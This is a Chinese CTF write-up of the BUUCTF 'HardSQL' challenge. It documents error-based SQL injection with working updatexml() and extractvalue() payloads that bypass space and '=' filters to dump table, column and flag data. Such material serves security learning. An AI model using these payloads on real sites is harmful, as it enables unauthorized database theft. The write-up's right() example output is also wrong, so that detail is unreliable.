Bootstrap

2025.1.16——七、HardSQL 报错注入

题目来源:buuctf [极客大挑战 2-19]HardSQL

目录

一、打开靶机,分析已知信息

二、手工注入解题

step 1:判断注入类型

step 2:查过滤字符

step 3:()和like绕过过滤

step 4:进行注入

1.用updatexml()

(1)得数据库

(2)得表名

(3)得列名

(4)得具体数据

2.用extractvalue()

(1)得数据库

(2)得表名

(3)得列名

(4)得具体数据

三、小结


一、打开靶机,分析已知信息

        页面没有信息,源码也没有信息,只能从头来

二、手工注入解题

step 1:判断注入类型

键入数字、字母都回显以下结果

键入万能密码,回显出

键入:username=1'&password=1

出现报错了,说明是单引号的字符型注入

万能密码注入同样回显,猜测某些字符或者关键字被过滤

step 2:查过滤字符

        抓包,用过滤字典爆破得本题过滤关键字为

甚至空格都被过滤了

step 3:()和like绕过过滤

用:username=admin&password=1'(or)

新知识:like是SQL语句中的一个关键字,主要用于在where子句中进行模糊查询,可以根据指定模式匹配文本数据

用()代替空格

用like绕过=号,重新构造万能密码:1'or((1)like(1))#

注:hackbar使用时,#要写作%23

        堆叠注入和联合注入因为过滤字符的存在都无法使用,所以用报错注入

step 4:进行注入

1.用updatexml()

(1)得数据库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

(2)得表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

(3)得列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

(4)得具体数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23

        由于只有报错注入查询字符串长度最大位为32,所以用right()查询剩余内容

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

得到另一半flag

新知识

1.right(string,length),left()用法相同

如:right('hello hacker',3),则返回hel

2.^可绕过or的限制

2.用extractvalue()

(1)得数据库
1'^extractvalue(1,concat(0x7e,(select(database()))))%23
(2)得表名
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
(3)得列名
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
(4)得具体数据

左边的flag

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

右边的flag

1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1000))%23

或者

1'^(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))%23

拼接可得flag

三、小结

新知识:

1.可用()代替空格,like代替=

2.报错注入有限制,可用right()函数突破限制,然后进行拼接信息

;